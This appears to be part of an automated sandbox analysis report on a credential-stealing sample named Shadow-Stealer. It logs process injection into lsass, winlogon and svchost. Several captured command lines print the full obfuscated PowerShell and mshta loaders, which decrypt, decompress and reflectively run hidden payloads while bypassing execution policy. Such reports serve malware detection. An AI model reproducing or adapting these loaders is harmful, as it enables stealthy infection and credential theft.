Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 29CA008	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 404000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140005000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 41F000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 2AEB008	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: CD0E768010	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140005000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: D5C464010	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 404000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 41F000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 26FD008	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 404000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 41F000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 2903008	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D016580000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F14E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E41FA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15B4C0000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\cscript.exe base: 2DC0000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: D30000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 1FAD6830000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 1FAD6820000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 1FAD6810000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 1FAD6810000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 1FAD6810000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 1FAD6810000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 1FAD6820000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 1FAD6820000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 1FAD6810000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 1FAD6810000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 1FAD6810000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 10BF6770000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 3240000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 3240000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 3240000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 3240000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 3240000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 3240000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 3240000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 3240000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 3240000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 3240000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 30A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D016610000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F1540000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E428D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15B460000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23AF32B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23C9FD60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A1CA6E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D016670000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F15A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E42930000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15CAD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23AF3310000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23C9FDC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A1CA710000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 246ED7B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D0166D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F1600000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E42990000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15CB30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23AF3370000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23CA0490000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A1CA770000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 246EDE60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 200A1980000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22595FB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22E670C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FE4A4B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24C19A40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275D1FC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23BBDC90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 227D8FC0000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\cscript.exe base: 9D0000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: D50000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: D60000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 1050000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\cscript.exe base: A30000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: D70000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: D80000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 1070000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 1400000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 2D50000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 2D60000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 9E0000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 2950000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 2900000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: BA0000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: A00000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 27D0000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: F50000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 930000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 13A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D016730000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F1660000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E429F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15CB90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23AF33D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23CA04F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A1CA7D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 246EDEC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 200A2400000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 225966B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22E67120000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FE4A510000

Bypasses PowerShell execution policy

Source: C:\Windows\$sxr-cmd.exe

Process created: C:\Windows\$sxr-powershell.exe C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Thread register set: target process: 3940	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Thread register set: target process: 5576	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread register set: target process: 1088	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread register set: target process: 6336	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread register set: target process: 5204	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread register set: target process: 3784	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread register set: target process: 3268	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread register set: target process: 5112	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread register set: target process: 352	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\Shadow-Stealer.bat.exe "shadow-stealer.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function pxqky($ammuc){ $qaumi=[system.security.cryptography.aes]::create(); $qaumi.mode=[system.security.cryptography.ciphermode]::cbc; $qaumi.padding=[system.security.cryptography.paddingmode]::pkcs7; $qaumi.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('loy14lths3sgwk7zmlm+u1lasbd9l9+grtu5mlzp2mm='); $qaumi.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('ls2ypgjebrtrew/fjyl2oq=='); $lsyot=$qaumi.createdecryptor(); $return_var=$lsyot.transformfinalblock($ammuc, 0, $ammuc.length); $lsyot.dispose(); $qaumi.dispose(); $return_var;}function yapup($ammuc){ $bpqpy=new-object system.io.memorystream(,$ammuc); $muxyl=new-object system.io.memorystream; $qrzer=new-object system.io.compression.gzipstream($bpqpy, [io.compression.compressionmode]::decompress); $qrzer.copyto($muxyl); $qrzer.dispose(); $bpqpy.dispose(); $muxyl.dispose(); $muxyl.toarray();}function davur($ammuc,$oapri){ $tirdu=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$ammuc); $cmozy=$tirdu.entrypoint; $cmozy.invoke($null, $oapri);}$agzco=[system.io.file]::('txetlladaer'[-1..-11] -join '')('c:\users\user\desktop\shadow-stealer.bat').split([environment]::newline);foreach ($xwgwp in $agzco) { if ($xwgwp.startswith('seroxen')) { $gzelj=$xwgwp.substring(7); break; }}$paqqy=[string[]]$gzelj.split('\');$ahdvx=yapup (pxqky ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($paqqy[0])));$qbiwj=yapup (pxqky ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($paqqy[1])));davur $qbiwj (,[string[]] ('', 'idtznccsreqaeejvuwzutuitglivmfheulstnnuhslwymmxaqk', 'lkizmjcsatthedeyossawnzmofyqejpcytnoxqiuoblpdohijn'));davur $ahdvx (,[string[]] ('', 'idtznccsreqaeejvuwzutuitglivmfheulstnnuhslwymmxaqk', 'lkizmjcsatthedeyossawnzmofyqejpcytnoxqiuoblpdohijn'));
Source: unknown	Process created: C:\Windows\$sxr-mshta.exe c:\windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'vb'+'sc'+'ri'+'pt'+'\x22>'+'se'+'t\x20'+'ob'+'js'+'he'+'ll'+'\x20='+'\x20c'+'re'+'at'+'eo'+'bj'+'ec'+'t('+'\x22w'+'sc'+'ri'+'pt'+'.s'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'sh'+'el'+'l.'+'ru'+'n\x20'+'\x22c:\\windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-tjptouybjvuvgcojtiwn4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\$sxr-powershell.exe c:\windows\$sxr-powershell.exe -nologo -noprofile -noninteractive -windowstyle hidden -executionpolicy bypass -command function vohzf($lwtxx){ $xcaug=[system.security.cryptography.aes]::create(); $xcaug.mode=[system.security.cryptography.ciphermode]::cbc; $xcaug.padding=[system.security.cryptography.paddingmode]::pkcs7; $xcaug.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('tm3zfpdkmzynpmflqy1uvewzay6dhwgl3hpqgmb2tk0='); $xcaug.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('zumramter/3la6uhcth1gg=='); $ctnvz=$xcaug.('rotpyrcedetaerc'[-1..-15] -join '')(); $omfgf=$ctnvz.('kcolblanifmrofsnart'[-1..-19] -join '')($lwtxx, 0, $lwtxx.length); $ctnvz.dispose(); $xcaug.dispose(); $omfgf;}function nnkof($lwtxx){ $abmbt=new-object system.io.memorystream(,$lwtxx); $fswzf=new-object system.io.memorystream; $zwqus=new-object system.io.compression.gzipstream($abmbt, [io.compression.compressionmode]::decompress); $zwqus.copyto($fswzf); $zwqus.dispose(); $abmbt.dispose(); $fswzf.dispose(); $fswzf.toarray();}function vzvjz($lwtxx,$kawoq){ $kxipu=[system.reflection.assembly]::load([byte[]]$lwtxx); $oppdg=$kxipu.entrypoint; $oppdg.invoke($null, $kawoq);}$xcaug1 = new-object system.security.cryptography.aesmanaged;$xcaug1.mode = [system.security.cryptography.ciphermode]::cbc;$xcaug1.padding = [system.security.cryptography.paddingmode]::pkcs7;$xcaug1.key = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('tm3zfpdkmzynpmflqy1uvewzay6dhwgl3hpqgmb2tk0=');$xcaug1.iv = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('zumramter/3la6uhcth1gg==');$qsfqp = $xcaug1.('rotpyrcedetaerc'[-1..-15] -join '')();$umirz = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('2twxifmv1jwyz0b8bphefa==');$umirz = $qsfqp.('kcolblanifmrofsnart'[-1..-19] -join '')($umirz, 0, $umirz.length);$umirz = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($umirz);$pyyqa = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('p05ztwckumfos2q8ryos+fixy2dyphhbyygl6z+cec8=');$pyyqa = $qsfqp.('kcolblanifmrofsnart'[-1..-19] -join '')($pyyqa, 0, $pyyqa.length);$pyyqa = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($pyyqa);$roofg = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('sy8hcjtfka/mf4hph+go6g==');$roofg = $qsfqp.('kcolblanifmrofsnart'[-1..-19] -join '')($roofg, 0, $roofg.length);$roofg = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($roofg);$tgmgc = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('buxxfqry1rop0b/roy4prlv7xh6eywkql6uot7vtjfzgnba4dmwvrz0rekh6tsw5e4dar7n8ykyorgfhmfzdschzoelrp0gmf7penq75exbqf+3j4n1ljy1xzypyejfwvjgbjvqe3cpowhnqattyty/6ujgytqqhsjigqqdcvjycexpvlg1ktaidhwbcleghzlplvk+ntj2pyl6wysfa3i8rptdz3r9ivjabt8a6toqzrs2q9nm/2k1/irfutdkvpptyy9cd0jq4mto7gdnvluac8kjm0rawso8rwa3zkjnybbv03aq6fif9zugda03cb0yo24aife5afn+zogdlktwrsyyivpjarzdcbblxkhprynayhbm2a5pmzva2gac2+o8odd180z07f5zl3mywto8
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\$sxr-powershell.exe "c:\windows\$sxr-powershell.exe" -nologo -noprofile -noninteractive -windowstyle hidden -executionpolicy bypass -command [system.diagnostics.process]::getprocessbyid(6400).waitforexit();[system.threading.thread]::sleep(5000); function vohzf($lwtxx){ $xcaug=[system.security.cryptography.aes]::create(); $xcaug.mode=[system.security.cryptography.ciphermode]::cbc; $xcaug.padding=[system.security.cryptography.paddingmode]::pkcs7; $xcaug.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('tm3zfpdkmzynpmflqy1uvewzay6dhwgl3hpqgmb2tk0='); $xcaug.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('zumramter/3la6uhcth1gg=='); $ctnvz=$xcaug.('rotpyrcedetaerc'[-1..-15] -join '')(); $omfgf=$ctnvz.('kcolblanifmrofsnart'[-1..-19] -join '')($lwtxx, 0, $lwtxx.length); $ctnvz.dispose(); $xcaug.dispose(); $omfgf;}function nnkof($lwtxx){ $abmbt=new-object system.io.memorystream(,$lwtxx); $fswzf=new-object system.io.memorystream; $zwqus=new-object system.io.compression.gzipstream($abmbt, [io.compression.compressionmode]::decompress); $zwqus.copyto($fswzf); $zwqus.dispose(); $abmbt.dispose(); 